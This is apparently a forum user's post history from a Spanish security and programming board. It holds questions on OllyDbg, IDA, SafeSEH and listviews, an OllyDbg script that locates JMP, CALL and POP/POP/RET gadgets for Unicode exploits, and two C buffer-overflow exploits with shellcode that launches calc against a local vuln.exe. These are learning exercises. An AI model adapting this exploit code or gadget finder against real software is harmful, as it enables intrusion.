|
121
|
Programación / Ingeniería Inversa / cmdline.hlp?
|
en: 2 Julio 2013, 04:23 am
|
No logro dar con la documentación de CommandLine (OllyDbg Plugins), me he percatado que consta con muchos comandos de los cuales siempre he usado como máximo tres a ver si alguien puede compartirlo, saludos.
|
|
|
122
|
Seguridad Informática / Bugs y Exploits / Instruction finder for UNICODE Shell (OllyDbg script)
|
en: 2 Julio 2013, 03:57 am
|
Hola a todos, leyendo tutoriales sobre Stack-based buffer overflow me percaté de la ausencia de alguna herramienta (bajo OllyDbg) que se encargada de encontrar direcciones funcionales para explotación bajo UNICODE, solo encontré OLLYUni pero este no encuentra instrucciones POP/POP/RET (si es así favor de informarme), por lo que cree un script para ODBGScript capas de encontrar: JMP r32 Call r32 POP r32/POP r32 / RETN El script es el siguiente: VAR ADDRESS VAR V_OPCODE ASK "Select option: JMP (1) - CALL (2) - POP/POP/RET (3)" CMP $RESULT,1 JE L_BEGIN_SEARCH_1 CMP $RESULT,2 JE L_BEGIN_SEARCH_2 CMP $RESULT,3 JE L_BEGIN_SEARCH_3 JMP L_EXIT L_BEGIN_SEARCH_1: FINDMEM #FFE?# L_SEARCH_JMP: TEST $RESULT,$RESULT JE L_EXIT MOV ADDRESS,$RESULT TEST ADDRESS,FF00FF00 JNE L_NEXT_SEARCH_JMP MOV V_OPCODE,$RESULT INC V_OPCODE MOV V_OPCODE,[V_OPCODE],1 CMP V_OPCODE,E7 JA L_NEXT_SEARCH_JMP GCI ADDRESS,COMMAND EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[{$RESULT}]" LOG "",$RESULT L_NEXT_SEARCH_JMP: INC ADDRESS FINDMEM #FFE?#,ADDRESS JMP L_SEARCH_JMP L_BEGIN_SEARCH_2: FINDMEM #FFD?# L_SEARCH_CALL: TEST $RESULT,$RESULT JE L_EXIT MOV ADDRESS,$RESULT TEST ADDRESS,FF00FF00 JNE L_NEXT_SEARCH_CALL MOV V_OPCODE,$RESULT INC V_OPCODE MOV V_OPCODE,[V_OPCODE],1 CMP V_OPCODE,D7 JA L_NEXT_SEARCH_CALL GCI ADDRESS,COMMAND EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[{$RESULT}]" LOG "",$RESULT L_NEXT_SEARCH_CALL: INC ADDRESS FINDMEM #FFD?#,ADDRESS JMP L_SEARCH_CALL L_BEGIN_SEARCH_3: FINDMEM #5?5?C3# L_SEARCH_POP_POP_RET: TEST $RESULT,$RESULT JE L_EXIT MOV ADDRESS,$RESULT TEST ADDRESS,FF00FF00 JNE L_NEXT_SEARCH_POP_POP_RET EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[POP/POP/RET]" LOG "",$RESULT L_NEXT_SEARCH_POP_POP_RET: INC ADDRESS FINDMEM #5?5?C3#,ADDRESS JMP L_SEARCH_POP_POP_RET L_EXIT: RET
Saludos.
|
|
|
125
|
Programación / Ingeniería Inversa / ¿Comenzar con IDA?
|
en: 28 Junio 2013, 21:15 pm
|
Hola a todos, actualmente tengo mucho interés en comenzar a probar nuevos debugger, me ha interesado comenzar con IDA, mi pregunta es que tutorial podría darme una introducción de este debugger estilo Introducción cómo la de Ricardo Narvaja, ¿podría ser desde aquí?, me surge la duda, no quiero estudiar algo desactualizado, saludos. http://ricardonarvaja.info/WEB/OTROS/IDA BIGUNDILLAEDIT: Alguna introducción de cracking en linux desde 0 utilizando IDA?.
|
|
|
126
|
Seguridad Informática / Bugs y Exploits / Duda con safeseh
|
en: 21 Junio 2013, 04:05 am
|
Hola a todos, estoy comenzando con la elaboración de exploit y me he topado con el concepto de safeSEH (entiendo el funcionamiento de los manejadores de excepciones, cómo localizarlo, etc.), pero en muchos tutoriales nombran que hay que buscar módulos que posean safeSEH desactivado, pero no logro entender el funcionamiento de safeSEH, cito: SafeSEH
En Windows XP SP2 y Windows Server 2003 se añadió la protección de memoria SafeSEH, la cual impide en gran medida la ejecución de código a través de SEH. Si esta protección se encuentra habilitada en un módulo, únicamente es posible utilizar como manejadores las direcciones almacenadas anteriormente en una lista. De este modo, no es posible sobrescribir la posición donde se encuentra “Handler_N()” ya que posteriormente se verificara si existe en la tabla indicada. esto se refiere a que existe un estructura encargada de almacenar las direcciones que apuntan los SEH?, ¿Qué ocurre cuando se instalan nuevos SEH?, ¿esta lista se actualiza? a ver si me aclaran esta duda, ya que como sabrán no sirve de nada conseguir los objetivos sin saber cómo funciona todo, saludos. EDIT: Leyendo no me expliqué muy bien, mi pregunta es por que cuando necesito conseguir instrucciones POP POP RET estas deben ser conseguidas en módulos que no posean safeSEH?, si sólamente estoy tomando instrucciones, y en ningún momento estoy alterando los SEH del módulo?
|
|
|
127
|
Programación / Programación C/C++ / crear arreglo con distintos tipos de datos?
|
en: 18 Junio 2013, 01:14 am
|
Hola a todos estoy haciendo una shellcode: #include <stdio.h> #include <string.h> #include <stdlib.h> void main(int argc, char *argv[]) { char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char offset[] = "\xED\x1E\x95\x7C"; char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D"; argv[0] = "vuln1"; argv[1] = relleno; argv[2] = NULL; execv ("vuln.exe",argv); }
Esta funciona de maravilla, lo que si me surge una duda con respecto a execv, cómo se puede apreciar se le envían los parámetros de argv (estos se asignan con anterioridad), pero me surge la duda de cómo podría crear mi propio arreglo con distintos tipos de datos como lo es en argv para posteriormente entregárselo a execv, saludos.
|
|
|
128
|
Programación / Programación C/C++ / Problema con código en C
|
en: 18 Junio 2013, 00:50 am
|
Hola a todos estoy intentando programar mis propias shellcode: #include <stdio.h> #include <string.h> #include <stdlib.h> void main(int argc, char *argv[]) { char relleno[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char offset[] = "\xED\x1E\x95\x7C"; char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65" "\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D"; //argv[0] = "vuln1"; //argv[1] = relleno; //argv[2] = NULL; //execv ("vuln.exe",argv); }
El problema está en la segunda concatenación, esta genera errores al momento de ejecutar, ¿cual podría ser el problema?, saludos y gracias.
|
|
|
130
|
Programación / ASM / Identificador para item de listview
|
en: 17 Mayo 2013, 18:03 pm
|
Hola a todos, estoy teniendo un problema al querer identificar un item de un listview: mi idea es entregarle un "identificador" único a cada item del listview, como identificador utilizo iItem, pero al parecer este se altera al momento de eliminar un item de la lista. Mi duda es ¿como podría identificar a un item?, no me sirve hacerle dos clic invoke SendMessage,hlsv,LVM_GETNEXTITEM,-1,LVNI_FOCUSED
Necesito un identificar único y que este no varíe de acuerdo a la posición del item, saludos.
|
|
|
|
|
|
|